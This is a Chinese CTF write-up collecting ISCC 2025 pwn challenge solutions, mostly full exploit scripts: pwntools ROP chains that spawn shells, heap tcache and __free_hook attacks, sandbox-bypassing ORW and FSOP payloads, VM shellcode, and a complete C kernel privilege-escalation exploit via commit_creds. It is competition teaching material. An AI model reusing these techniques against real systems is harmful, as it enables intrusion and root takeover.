技术社区
安全培训
技术社群
积分商城
先知平台
漏洞库
历史记录
清空历史记录
相关的动态
相关的文章
相关的用户
相关的圈子
相关的话题
注册
登录
2025ISCC练武区域赛和决赛pwn以及擂台pwn合集
kkup008
发表于 山东
CTF
1239浏览 · 2025-05-19 02:36
返回文档
ISCCpwn合集
昨天也是刚打完ISCC,pwn还是有很多意义的,怎么说呢,wp发下来给大家看看吧,希望能学到更多的知识,这一次ISCC总体难度适中,相比去年难度稍有提升,主要是出内核题比较难,此外代码量和题量明显提升,分析要耗费大量时间,vm和堆中规中矩都是比较偏基础的知识,此外感觉自己实力还是有所欠缺,希望明年能进前二十
练武区域pwn
genius
1.
查一下保护看一下ida
发现直接溢出就好
Exp
from pwn import *
context.log_level = 'debug'
host = "101.200.155.151"
port = 12000
conn = remote(host, port)
conn.recvuntil(b"you are a genius,yes or no?")
conn.sendline(b"no")
conn.recvuntil(b"Sir, don't be so modest.")
conn.sendline(b"thanks")
conn.recvuntil(b"what you want in init")
payload_length = 0x18
conn.sendline(cyclic(payload_length))
conn.recvuntil(b"\x0a")
stack_canary = u64(conn.recv(7).ljust(8, b'\x00'))
stack_canary = (stack_canary << 8) | 0x00
log.info("Leaked stack canary: " + hex(stack_canary))
ret_gadget = 0x000000000040101a
pop_rdi_gadget = 0x00000000004013f3
bin_sh_str_addr = 0x402004
system_plt_addr = 0x401050
rop_payload = (
cyclic(payload_length) +
p64(stack_canary) +
p64(0x0) +
p64(ret_gadget) +
p64(pop_rdi_gadget) +
p64(bin_sh_str_addr) +
p64(system_plt_addr)
)
conn.sendline(rop_payload)
conn.interactive()
mutsumi
1
一个简单的堆题,进去ida
2
发现了一个uaf,直接泄露libc
然后就是那套tcache的打法
用tcachebin的fastbin attack来覆盖hook
测试了一下直接拿到flag
exp
from pwn import*
context(arch="amd64", os="linux", log_level="debug")
libc=ELF('./program.so')
io = remote('101.200.155.151',12300)
#io = process('./pwn')
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
add(0, 0x500)
add(1, 0x18)
delete(0)
show(0)
libc_base = u64(io.recv(6).ljust(8, b'\x00'))-0x1ecbe0
log.info('libc_base:'+hex(libc_base))
add(2, 0x500)
add(3, 0x70)
add(4, 0x70)
delete(3)
delete(4)
edit(4,0x70,p64(libc_base+libc.symbols['__free_hook']))
add(5, 0x70)
edit(5,0x70,b'/bin/sh\x00')
add(6, 0x70)
edit(6,0x70,p64(libc_base+libc.sym['system']))
delete(5)
io.interactive()
Fufu
check一下
1
一个简单的vm的题里面有一个跳转进去直接看寄存器,然后构造shellcode
shellcode_fragments = [
b"\x34\x3b\x90\x90",
b"\x66\xbb\x73\x68",
b"\x48\xc1\xe3\x10",
b"\x66\xbb\x6e\x2f",
b"\x48\xc1\xe3\x10",
b"\x66\xbb\x62\x69",
b"\x48\xc1\xe3\x08",
b"\x66\xbb\x2f\x62",
b"\x53\x90\x90\x90",
b"\x89\xe7\x90\x90",
b"\x0f\x05\x90\x90",
]
字节码如上,在此构造的寄存器下可以直接调用shellcode
Exp
from pwn import *
context(log_level='debug', arch='amd64')
conn = process("./attachment-33")
conn = remote("101.200.155.151", 12800)
roles = {
0: b'tomorin',
1: b'rikki',
2: b'anon',
3: b'soyorin'
}
def send_instruction(role, data=b'saki', nptr=b'to'):
conn.sendline(data + b',ido')
conn.sendline(nptr)
if nptr == b'to':
conn.sendline(role)
def format_int(value_bytes):
return str(int.from_bytes(value_bytes, byteorder='little'))
shellcode_fragments = [
b"\x34\x3b\x90\x90",
b"\x66\xbb\x73\x68",
b"\x48\xc1\xe3\x10",
b"\x66\xbb\x6e\x2f",
b"\x48\xc1\xe3\x10",
b"\x66\xbb\x62\x69",
b"\x48\xc1\xe3\x08",
b"\x66\xbb\x2f\x62",
b"\x53\x90\x90\x90",
b"\x89\xe7\x90\x90",
b"\x0f\x05\x90\x90",
]
for fragment in shellcode_fragments:
send_instruction(roles[0], nptr=b"1")
send_instruction(roles[0], nptr=format_int(fragment))
conn.sendline(b'saki,stop')
conn.interactive()
program
这个题比较常规的格式化字符串漏洞
那就分别泄露需要的东西就好
练武决赛pwn
Dilemma
1
查一下保护看一下ida
2
就是一个很简单的格式化字符串漏洞,先泄露canary在泄露libc此时查看stack直接泄露libs_start_main就ok
本地试了一下35版本的ubuntu一下就通了
但是需要注意开了沙箱,需要启动一个orw的调用
Exp
from pwn import *
from ctypes import cdll
import time
context(os='linux', arch='amd64', log_level='debug')
p = remote('101.200.155.151',12500)
elf = ELF('./attachment-42')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg():
gdb.attach(r,'b *$rebase(0xb37)')
pause()
pop_rdi = 0x40119a
ret = 0x40101a
bss = 0x404000 + 0x900
pop_rsi_r15 = 0x000000000040119c
p.recvuntil("go?\n")
p.sendline("1")
p.recvuntil("password:\n")
payload = b'%39$p%11$p'
p.sendline(payload)
p.recvuntil("0x")
libc_start = int(p.recv(12),16) - 128
libc_base = libc_start - libc.sym['__libc_start_main']
p.recvuntil("0x")
canary = int(p.recv(16),16)
success('canary:' +hex(canary))
p.recvuntil("password:")
p.send(b"a"*8)
p.recvuntil("go?\n")
p.sendline("2")
p.recvuntil("about\n")
payload = b'a'*0x28 + p64(canary) + p64(bss+0x30) + p64(0x4011C9)
p.send(payload)
p.recvuntil("a"*0x28)
pop_rdx_r12 = 0x11f2e7 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pay = b'./flag.txt'.ljust(0x28,b'\x00')
pay += p64(canary) + p64(0) + p64(pop_rdi) + p64(bss)
pay += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0)
pay += p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0)
pay += p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
p.send(pay)
p.interactive()
easybee
拿到一看是个内核题
,
最近刚好也在学内核提权的
,
那就直接来练练手
本来没啥心情做了的
,
结果刚泄露完
canary
就一百多解了我也是服了
, ,
大概过程如下
漏洞利用步骤精要
符号地址获取
通过解析
/tmp/kallsyms
获取
commit_creds
和
prepare_kernel_cred
的地址。由于未开启
KPTI
,内核地址可直接访问。
Canary
泄露
利用
core_read
通过设置偏移量
0x40
读取内核栈中的
Canary
值。
ROP
链构造
构造提权链:
prepare_kernel_cred(0) -> commit_creds(cred) ->
返回用户态执行
shell
。
触发漏洞
通过
core_copy_func
的整数溢出(传入
0xffffffffffff1000
转换为无符号短整型
0x1000
)实现栈溢出,执行
ROP
链。
首先就是符号解析
void get_function_address() {
FILE *sym_table = fopen("/tmp/kallsyms", "r");
if (!sym_table) {
perror("\033[31m[!] Failed to open /tmp/kallsyms");
exit(EXIT_FAILURE);
}
unsigned long addr;
char type[16], name[256];
while (fscanf(sym_table, "%lx %s %s", &addr, type, name) == 3) {
if (strcmp(name, "commit_creds") == 0) commit_creds = addr;
if (strcmp(name, "prepare_kernel_cred") == 0) prepare_kernel_cred = addr;
if (commit_creds && prepare_kernel_cred) break; //
提前退出循环
}
fclose(sym_table); //
关闭文件
if (!commit_creds || !prepare_kernel_cred) {
fprintf(stderr, "\033[31m[!] Failed to find symbol addresses\n");
exit(EXIT_FAILURE);
}
}
使用
core_read
函数获取
canary
使用
core_write
函数写入
ROP
到
name
使用
core_copy_func
函数在栈上追加
ROP
由于本内核模块启用了
kaslr
地址随机化保护机制,因此需要与计算出一个偏移量,题目中给出的
vmlinux
的
commit_creds
函数地址为
FFFFFFFF8109C8E0
相减即得偏移量
Gadget
偏移计算:确保所有
gadget
地址通过
base_offset
正确调整(
base_offset = commit_creds - commit_creds_base
)
栈平衡:
call rdx
后需通过
pop rcx
清理栈,避免
ROP
链断裂
返回用户态:
swapgs
和
iretq
需按顺序执行,并正确恢复用户态寄存器
这里的
rop
也需要注意
size_t ROP[50] = {0};
int idx = 0;
填充
Canary
for (int i = 0; i < 10; i++) ROP[idx++] = canary;
提权链
ROP[idx++] = pop_rdi_ret + base_offset;
// pop rdi; ret
ROP[idx++] = 0;
// rdi = 0
ROP[idx++] = prepare_kernel_cred;
// rax = prepare_kernel_cred(0)
ROP[idx++] = pop_rdx_ret + base_offset;
// pop rdx; ret
ROP[idx++] = pop_rcx_ret + base_offset;
// pop rcx; ret (
清理
call
指令压栈的返回地址
)
ROP[idx++] = mov_rdi_rax_call_rdx + base_offset; // rdi = rax; call rdx
ROP[idx++] = commit_creds;
// commit_creds(rdi)
ROP[idx++] = swapgs_popfq_ret + base_offset; // swapgs; popfq; ret
ROP[idx++] = 0;
// dummy for popfq
ROP[idx++] = iretq_ret + base_offset;
// iretq
ROP[idx++] = (size_t)shell;
//
返回地址
: shell()
ROP[idx++] = user_cs;
// CS
ROP[idx++] = user_rflags;
// RFLAGS
ROP[idx++] = user_sp;
// RSP
ROP[idx++] = user_ss;
// SS
此外我们找到了一个漏洞 触发
core_copy_func
的整数溢出
传入
nbytes = 0xffffffffffff1000 ->
转换为
unsigned short
为
0x1000 (>0x3F)
core_copy_func(0xffffffffffff0000 | 0x1000);
进展取得重大突破
然后我们继续看
get_function_address()
解析
commit_creds
和
prepare_kernel_cred
。这一步处理好之后准备泄露
Canary
继续打
rop
然后最后都处理完之后我们可以直接返回用户态执行
shelll
Exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
unsigned long long commit_creds = 0, prepare_kernel_cred = 0;
const unsigned long long commit_creds_base = 0xFFFFFFFF8109C8E0;
const unsigned long long swapgs_popfq_ret = 0xffffffff81a012da;
const unsigned long long movrdirax_callrdx = 0xffffffff8101aa6a;
const unsigned long long poprdx_ret = 0xffffffff810a0f49;
const unsigned long long poprdi_ret = 0xffffffff81000b2f;
const unsigned long long poprcx_ret = 0xffffffff81021e53;
const unsigned long long iretq = 0xFFFFFFFF81A00987;
int fd = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void core_read(char* buf) {
ioctl(fd, 0x6677889B, buf);
}
void change_off(int off) {
ioctl(fd, 0x6677889C, off);
}
void core_copy_func(unsigned long long nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}
void get_function_address() {
FILE* sym_table = fopen("/tmp/kallsyms", "r");
if (sym_table == NULL) {
printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m");
exit(1);
}
unsigned long long addr = 0;
char type[0x10];
char func_name[0x100];
while (fscanf(sym_table, "%llx%s%s", &addr, type, func_name)) {
if (commit_creds && prepare_kernel_cred) return;
if (!strcmp(func_name, "commit_creds")) {
commit_creds = addr;
printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds);
} else if (!strcmp(func_name, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred);
}
}
}
void print_binary(char* buf, int length) {
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for (int i = 0; i < (length % 16 == 0 ? length / 16 : length / 16 + 1); i++) {
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for (int j = 0; j < 16; j++) {
if (index + j >= length) {
sprintf(output_buffer + 8 + 3 * j, "
");
} else {
sprintf(output_buffer + 8 + 3 * j, "%02x ", ((int)buf[index + j]) & 0xFF);
if (!isprint(buf[index + j])) {
output_buffer[58 + j] = '.';
} else {
output_buffer[58 + j] = buf[index + j];
}
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer + 58, '\0', 16);
index += 16;
}
}
void shell() {
if (getuid()) {
printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m");
exit(1);
}
printf("\033[32m\033[1m[+] Getting the root......\033[0m\n");
system("/bin/sh");
exit(0);
}
int main() {
saveStatus();
fd = open("/proc/core", 2);
if (!fd) {
printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m");
exit(1);
}
char buffer[0x100] = {0};
get_function_address();
unsigned long long base_offset = commit_creds - commit_creds_base;
printf("\033[34m\033[1m[*] KASLR offset: \033[0m%#llx\n", base_offset);
change_off(0x40);
core_read(buffer);
printf("\033[34m\033[1m[*] Contents in buffer here:\033[0m\n");
print_binary(buffer, 0x40);
unsigned long long canary = ((size_t*)&buffer)[0];
printf("\033[35m\033[1m[*] The value of canary is the first 8 bytes: \033[0m%#llx\n", canary);
size_t ROP[100] = {0};
memset(ROP, 0, 800);
int idx = 0;
for (int i = 0; i < 10; i++) ROP[idx++] = canary;
ROP[idx++] = poprdi_ret + base_offset;
ROP[idx++] = 0;
ROP[idx++] = prepare_kernel_cred;
ROP[idx++] = poprdx_ret + base_offset;
ROP[idx++] = poprcx_ret + base_offset;
ROP[idx++] = movrdirax_callrdx + base_offset;
ROP[idx++] = commit_creds;
ROP[idx++] = swapgs_popfq_ret + base_offset;
ROP[idx++] = 0;
ROP[idx++] = iretq + base_offset;
ROP[idx++] = (unsigned long long)shell;
ROP[idx++] = user_cs;
ROP[idx++] = user_rflags;
ROP[idx++] = user_sp;
ROP[idx++] = user_ss;
printf("\033[34m\033[1m[*] Our rop chain looks like: \033[0m\n");
print_binary((char*)ROP, 0x100);
write(fd, ROP, 0x800);
core_copy_func(0xffffffffffff1000);
return 0;
}
擂台pwn
命令执行器
看了半天研究了几个小时才看出来是个树
我猜你不会想做这个
pwn
题
,
我以为是很烦躁的逆向算法求解
,
后来却发现一个简单的漏洞点
由于
size
的大小存在符号溢出
,
我们就正常去修改为极大数
,
这样的话就可以加载极大地址也就是往低地址负向写入
,
然后我们就是正常填
tacche
实现一个任意地址分配
,
但是打到现在并没有什么用
还需要一个泄露libc的地方或者是其他的后门,此时我 们观察ida
这里也是看到提示说
hash
的问题那么我们继续分析函数
发现一个可控的时间数种子,传入该时刻的seed即可实现hash可控这样的话我们直接一个爆破就能算出libc基地址,在反过来用特征值来演算是否爆破准确
当然这里要注意libc 的版本,所幸也是题目给出了libc省了不少力气
这样的话我们直接打
rop
但是打的过程中我发现检测开了沙箱
,
所以努力都白费了
这里推荐一个工具
seccomp-tools,
我们可以做题前先使用这个沙箱检测命令来查看被禁用的函数都有那些
seccomp-tools dump ./pwn2
结果如下我们发现开启了沙箱
当然这里要注意ld的链接库必须patchelf上不然识别不了文件会出现如下报错
然后看到沙箱开启的话我们就直接一个
orw
接收
flag
就
ok
当然妈的还有一个事就是这个要打只能打
io
调用链
,
所以
io
必须也得学
这里要注意虚表和地址的问题,不能过大
Exp
from pwn import *
from ctypes import *
import time
context.update(arch='amd64', os='linux', log_level='DEBUG')
context.terminal=['qterminal','-e']
libc = ELF("./libc.so.6", checksec=False)
libc_RAND = cdll.LoadLibrary('libc.so.6')
xxx=0
def add(size,payload):
global xxx
if isinstance(payload, str):
payload = payload.encode()
cmd=b'add('+str(size).encode()+b')'+b':'+payload+b';'
p.sendlineafter(b'>>',cmd)
xxx+=2*5
def delete(idx):
global xxx
cmd='delete('+str(idx)+');'
p.sendlineafter(b'>>', cmd)
xxx+=2*3
def myencode(hash,list):
global xxx
randA=list[xxx-4]+(list[xxx-3]<<32)
randB=list[xxx-2]+(list[xxx-1]<<32)
hash^=randB & 0xF84075ECD213097F
hash^=randA & 0x1145140478
return hash
def exp():
global xxx
xxx=0
t_int = int(time.time())
offsets = [0, -1, +1, +2, -2,+3,-3]
arrays = []
for off in offsets:
gr = libc_RAND.srand(t_int + off)
arrays.append([libc_RAND.rand() for _ in range(100)])
a, b, c, d, e, f, g = arrays
add(0x500,b'AAAA')
add(0x500,b'BBBD')
delete(0)
add(0x500,b'fuck')
p.recvuntil(b'hash: ')
hash_or=int(p.recvuntil(b'.')[:-1],10)
arrays = [a, b, c, d, e, f, g]
hit = False
for lst in arrays:
libcaddr = myencode(hash_or, lst)
high4 = (libcaddr >> 44) & 0xF
low12 = libcaddr & 0xFFF
if high4 == 7 and low12 == 0xdff:
mask = ((1 << 36) - 1) << 12
libcaddr&=mask
hit = True
break
if not hit:
p.close()
mask = ((1 << 64) - 1) ^ ((1 << 17) | (1 << 18))
libcaddr &= mask
libcbase=libcaddr-0x21A000
delete(0)
delete(1)
add(0x500,b'fuck')
add(0x3f0-0x40,'fuck this')
delete(1)
delete(0)
libc.address = libcbase
stdout_addr = libc.symbols['_IO_2_1_stdout_']
payload=b’BBBB'.ljust(0x590-0x100-0xa,b'A')+p64(stdout_addr-0x20)*30
add(2**64-0x40,payload)
sleep(0.2)
pop_rax=libc.address+0x0000000000045eb0
pop_rdi=libc.address+0x000000000002a3e5
pop_rsi=libc.address+0x000000000002be51
pop_rdx_r12=libc.address+0x000000000011f2e7
syscall=libc.address+0xEA549
system_addr=libc.symbols['setcontext']+61
IO_wfile_jumps=libc.symbols['_IO_wfile_jumps']
call_addr = system_addr
fake_io_addr = stdout_addr
fake_IO_FILE = b'/bin/sh\x00'
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(system_addr)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(fake_io_addr+0xe8-0xa0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(1)
fake_IO_FILE += p64(2)
fake_IO_FILE += p64(fake_io_addr + 0xB0)
fake_IO_FILE += p64(call_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b"\x00")
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b"\x00")
fake_IO_FILE += p64(stdout_addr + 0xf00)
fake_IO_FILE = fake_IO_FILE.ljust(0xA0, b"\x00")
fake_IO_FILE += p64(fake_io_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0, b"\x00")
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xD8, b"\x00")
fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
fake_IO_FILE = fake_IO_FILE.ljust(0xE0, b"\x00")
fake_IO_FILE += p64(fake_io_addr-0X8)
fake_IO_FILE +=p64(fake_io_addr+0xf0+0x10)
fake_IO_FILE +=p64(libc.address+0x0000000000035732+1)*2
fake_IO_FILE +=p64(pop_rax)
fake_IO_FILE +=p64(2)
fake_IO_FILE +=p64(pop_rdi)
fake_IO_FILE +=p64(fake_io_addr+0x200)
fake_IO_FILE +=p64(pop_rsi)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(pop_rdx_r12)
fake_IO_FILE +=p64(0)*2
fake_IO_FILE +=p64(syscall)
fake_IO_FILE +=p64(pop_rax)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(pop_rdi)
fake_IO_FILE +=p64(3)
fake_IO_FILE +=p64(pop_rsi)
fake_IO_FILE +=p64(fake_io_addr+0x200)
fake_IO_FILE +=p64(pop_rdx_r12)
fake_IO_FILE +=p64(0x100)*2
fake_IO_FILE +=p64(syscall)
fake_IO_FILE +=p64(pop_rax)
fake_IO_FILE +=p64(1)
fake_IO_FILE +=p64(pop_rdi)
fake_IO_FILE +=p64(1)
fake_IO_FILE +=p64(pop_rsi)
fake_IO_FILE +=p64(fake_io_addr+0x200-0x8)
fake_IO_FILE +=p64(pop_rdx_r12)
fake_IO_FILE +=p64(0x100)*2
fake_IO_FILE +=p64(syscall)
fake_IO_FILE = fake_IO_FILE.ljust(0x200-0x8, b"\x00")
fake_IO_FILE +=b'AAAABBBD'
fake_IO_FILE +=b'/flag\x00'
add(0x3f0-0x40,fake_IO_FILE)
debug=1
while(1):
try:
if debug:
p = process('./pwn')
else:
p = remote('101.200.155.151',25000)
exp()
sleep(0.1)
res=p.recvuntil('AAAABBBD',timeout=0.5)
if res:
p.interactive()
else:
p.close()
except:
p.close()f
mini pwn
wp另一个师傅写的
book_manager
1
检查checksec一下
进去一看就是一个图书管理系统
发现有一处调用的call无法反汇编,改一下进去查看
现在发现了几个漏洞点格式化字符串泄露canary等信息
然后发现栈溢出直接构造特殊的rop链进行攻击
在执行display函数传入等待接收flag就ok
当然最后不要忘记flag 的地址要穿入参数才可以
此时要写一个等待接收的反馈,不然总是会报错并且打不通
怀疑是接收有点问题
这个也是另一个师傅打的,膜拜大佬
Exp
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
io = remote('101.200.155.151', 23000)
flag_addr = 0x4e9b2d
load_func = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43
def add_book(title, author, publisher):
io.sendlineafter(b'>', b'1')
io.sendafter(b'Title', title)
io.sendafter(b'Author', author)
io.sendafter(b'Publisher', publisher)
io.sendlineafter(b'>', b'4')
io.sendlineafter(b'choose', b'2')
io.sendafter(b'name', b'a' * 0x28)
io.recvuntil(b'a' * 0x28 + b'\n')
canary_data = io.recv(7)
canary = u64(canary_data.ljust(8, b'\x00')) << 8
payload = p64(canary) + p64(0) + p64(ret)
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(load_func)
for _ in range(8):
add_book(b'a'*50, b'a'*30, b'a'*40)
add_book(b'a'*12, b'a', b'a'*3)
add_book(payload, b'b'*20 + b'\x00/flag\x00\x00\x00\x00', b'c'*40)
io.sendlineafter(b'>', b'6')
io.sendlineafter(b'>', b'5')
flag = io.recvline()
io.interactive()
迷途之子
这个题也是另一个师傅打的,wp没保存
vm_pwn
检查checksec一下
很经典的一道vm的题,那么首先就是逆向出来他的指令集
既然找到opcode的话我们就老老实实的逆出来指令集就ok]
很明显的
push
指令
def一个函数
很明显的pop指令
4-8
的就很常规一眼能看出俩
1-4
也一样
def push(reg_index):
return struct.pack("<bB", 4, reg_index)
def pop(reg_index):
return struct.pack("<bB", 5, reg_index)
def func_call(reg_index):
return struct.pack("<bB", 6, reg_index)
def add_imm(reg, imm):
return struct.pack("<bbQ", 0xA, reg, imm)
def sub_imm(reg, imm):
return struct.pack("<bbQ", 0xB, reg, imm)
def exit_vm():
return struct.pack("b", 8)
没什么好说的简单的
vm
Exp
from pwn import *
import struct
def debug(c=0):
if c:
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
context(arch="amd64", os="linux", log_level="debug")
file_path = "./pwn"
libc_path = "./libc.so.6"
elf = ELF(file_path, checksec=False)
libc = ELF(libc_path, checksec=False)
p = remote("101.200.155.151", 20000)
def load_imm(reg, imm):
return struct.pack("<bbQ", 0, reg, imm)
def load_indirect(src_reg, dst_reg):
return struct.pack("<bbb", 1, src_reg, dst_reg)
def store_indirect(src_reg, dst_reg):
return struct.pack("<bb", 2, src_reg) + struct.pack("b", dst_reg)
def mov_reg(src_reg, dst_reg):
return struct.pack("<bb", 3, src_reg) + struct.pack("b", dst_reg)
def push(reg_index):
return struct.pack("<bB", 4, reg_index)
def pop(reg_index):
return struct.pack("<bB", 5, reg_index)
def func_call(reg_index):
return struct.pack("<bB", 6, reg_index)
def add_imm(reg, imm):
return struct.pack("<bbQ", 0xA, reg, imm)
def sub_imm(reg, imm):
return struct.pack("<bbQ", 0xB, reg, imm)
def exit_vm():
return struct.pack("b", 8)
payload = load_indirect(-11, 1)
payload += sub_imm(1, 0x50)
payload += load_indirect(1, 0)
payload += sub_imm(0, libc.sym["malloc"])
payload += mov_reg(0, 2)
payload += add_imm(2, libc.sym["system"])
payload += add_imm(0, next(libc.search(b"/bin/sh\x00")))
payload += func_call(2)
payload += exit_vm()
sla(b"bytecode: ", payload)
call
这个题的话很简单,wp是另一个师傅写的我就不放了
复读机
这道题我没做出来,不知道该怎么打,随便看了一下思路大家随便看看
首先还是ida看一下
先分析case的作用
switch (*v24) {
case 1:
输入字符串到
v27
,并调用
sub_401E10();
case 2:
调用
sub_402140();
case 3:
获取一个整数并传给
sub_401E70();
case 4:
获取两个整数并传给
sub_401F40();
case 5:
调用
sub_402000();
case 6:
退出;
default:
输出错误;
}
网上说
初步检查的话觉得这个函数
sub_40CA00("%d", *v22, v5, v6, v7, v8, v22[0]);
可能存在漏洞没有输入的检查存在溢出
v20 = j_ifunc_42B6A0(v23, "\n");
*(v27 + v20) = 0;
这个
v20
变量可能存在一些问题可能是出现数组越界写的漏洞
看到这里我甚至都怀疑这是一道
awd
的题目
,
最近在出
awd
的
pwn
题
,
总感觉有些相似之处
v6 = *(off_4EC7D0 + 136);
if ( *(v6 + 8) != fs:[0x10] ) {
if ( _InterlockedCompareExchange(v6, 1, 0) )
sub_423EB0(v6);
...
}
然后就是这个函数的死锁问题
,
对程序的处置可能会产生操作系统级别的错误
,
会产生漏洞
当然这只是初步分析
,
那么继续检查我们发现
sub_40CA00("%d", &v26, ...);
sub_40CA00("%d %d", &v25, &v26, ...);
然后这里是一个格式化字符串漏洞
然后我们进行测试
通过输出测试我们可以泄露了数据
(
没有
canary
直接打就好
)
在stack上我们观察参数的位置,
分析到了沙箱一查的话果然禁用了
而
且orw不可以
0009: if (A == open)
-> KILL
0011: if (A == openat)
-> KILL
Sendfile也没有办法直接使用,那么我们回过头来checksec一下
那这里我们是打算直接用一个更换
got
表的办法来执行程序
不知道能否成功
替换变量中的数值,使用fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)直接梭就好不知道能不能打出来,网上的思路看着挺唬人,不过这里我也是没有复现验证
这道题是另一个师傅做的,我还是太菜了哈哈
0
人收藏
0
人喜欢
转载
分享
0
条评论
某人
表情
可输入
255
字
评论
发布投稿
热门文章
1
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)
2
突破网络限制,Merlin Agent助你轻松搭建跳板网络!
3
从白帽角度浅谈SRC业务威胁情报挖掘与实战
4
基于规则的流量加解密工具-CloudX
5
从0到1大模型MCP自动化漏洞挖掘实践
近期热点
一周
月份
季度
1
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)
2
突破网络限制,Merlin Agent助你轻松搭建跳板网络!
3
从白帽角度浅谈SRC业务威胁情报挖掘与实战
4
基于规则的流量加解密工具-CloudX
5
从0到1大模型MCP自动化漏洞挖掘实践
暂无相关信息
暂无相关信息
优秀作者
1
T0daySeeker
贡献值:38700
2
一天
贡献值:24800
3
Yale
贡献值:21000
4
1674701160110592
贡献值:18000
5
1174735059082055
贡献值:16000
6
Loora1N
贡献值:13000
7
bkbqwq
贡献值:12800
8
手术刀
贡献值:11000
9
lufei
贡献值:11000
10
xsran
贡献值:10600
目录
ISCCpwn合集
练武区域pwn
genius
mutsumi
Fufu
program
练武决赛pwn
Dilemma
easybee
擂台pwn
命令执行器
mini pwn
book_manager
迷途之子
vm_pwn
call
复读机
转载
标题
作者:
你好
http://www.a.com/asdsabdas
文章
转载
自
复制到剪贴板